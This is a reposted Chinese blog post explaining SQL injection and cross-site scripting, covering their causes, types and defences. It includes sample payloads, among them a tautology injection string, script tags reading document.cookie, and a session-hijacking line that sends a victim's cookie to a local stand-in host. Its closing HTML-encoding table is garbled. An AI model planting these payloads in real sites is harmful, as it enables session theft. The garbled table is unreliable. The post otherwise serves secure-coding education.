版权声明:本文为CSDN博主「PiLriD.」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/wenroudong/article/details/121161873
————————————————
一、SQL注入
注入攻击的本质:把用户输入的数据当做代码执行。
两个必要的条件:
一是用户可以控制输入;二是原本要执行的代码拼接了用户的输入数据。
-
任何可以与数据库交互的编程语言都可能出现SQL注入漏洞。
-
SQL注入能够让攻击者对服务器进行任意的文件读取,危害巨大。
修复建议:
- 普通用户与系统管理员用户的权限要有严格的区分
数据库应该使用最小权限原则,例如普通用户不允许去查询系统表、调用loadlife函数等;即使终端用户使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。
- 加强对用户输入的验证
原则:不相信用户的一切输入。始终通过测试类型、长度、格式和范围来验证用户输入,对数据库的特殊字符(‘“<>&*_等)进行转义处理,或编码转换,过滤用户输入的内容。
- 使用预编译处理
使用预编译的SQL语句,变量用?表示, 使得SQL查询的语义逻辑被预先定义,而实际的查询参数值则等到程序运行时再确定。因此攻击者无法改变SQL的结构。在上面的例子中,如果攻击者插入类似 1’or ‘1’=‘1的字符串,也只能将此字符串当做username来匹配查询。
- 统一编码
网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
- 异常信息
避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判定。
跨站脚本攻击(XSS):
WEB程序中最常见的漏洞之一。指攻击者通过“HTML注入”篡改了正常网页,当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而控制用户浏览器的一种攻击
二、XXS漏洞
XSS产生原理:假设有下面一个textbox
<input type="text" name="add1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入
“/><script>alert(document.cookie)</script><!–
那么就会变成
<input type="text" name="add1" value="“/><script>alert(document.cookie)</script><!–
嵌入的JavaScript代码将会被执行,或者用户输入的是
”οnfοcus=“alert(document.cookie)
那么就会变成
事件被触发的时候嵌入的javascript代码将会被执行,攻击的威力,取决于用户输入了什么样的脚本。
XSS分类
- 反射型XSS(Reflected XSS):
把用户输入的数据“反射”给浏览器,往往需要诱使用户点击一个恶意的链接,才能攻击成功。也叫作“非持久型xss”
- 存储型XSS(stored XSS):
通过提交构造好的攻击语句到服务器的数据库或者本地文件中,当Web程序从数据库或文件中读出这些攻击语句并输出到访问者页面的时候就会执行,所以这种攻击也叫作“持久型xss”。
XSS危害
- XSS危害-XSS会话劫持
假设某个页面存在XSS跨站脚本漏洞,攻击者只需要精心构造一个恶意的url,并加入下面这一段脚本:
<script>window.open('http://127.0.0.1:10003?msg='+document.cookie)</script>
这个时候呢,攻击者建立一个网站或者写一小段代码,用来接收js脚本发送来的信息
然后把构造的恶意url通过某种方式(邮件、QQ)发给被攻击者。
只要被攻击者点开了这个链接,他的cookie身份信息就被获取到了,攻击者就可以在会话有效期内,冒用该用户的身份去肆意执行他想做的操作。
- XSS危害-注入木马蠕虫脚本
通过XSS攻击,攻击者可以把一段脚本注入到服务器上,用户访问服务器的某个url,这个url就会将远端的js注入进来,这个js就会自动的进行某些非法操作,从而导致用户被迫执行攻击者期望的操作。
通过这种途径,攻击者就可以通过这些病毒、木马和蠕虫,进一步地对受害者的主机发动攻击。目前,互联网上的“挂马”现象非常普遍,而XSS注入的出现也无疑给“挂马”的攻击者指明了又一个新的方向。通过传播这些木马,窃取合法用户的敏感信息,不少非法攻击者也逐渐将这一过程产业化,经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失,造成的危害也很大。
XSS漏洞防范
- XSS漏洞防范-2.输入检查
原则:不相信用户输入的数据
对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致
脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字
只允许用户输入我们期望的数据。例如:年龄的textbox中,只允许用户输入数字,数
字之外的字符都过滤掉。
我们也要考虑用户可能绕开ASCII码,因此,对用户输入的十六进制编码,我们
也要进行相应的过滤。
- XSS漏洞防范-3.输出检查
在变量输出到HTML页面时,可以使用编码或者转义的方式来防御XSS攻击。
编码分很多种,针对HTML代码的编码方式是HTMLEncode:
& -- >&
< -- ><
> -- >>
“ -- >"
‘ -- >'
/ -- >/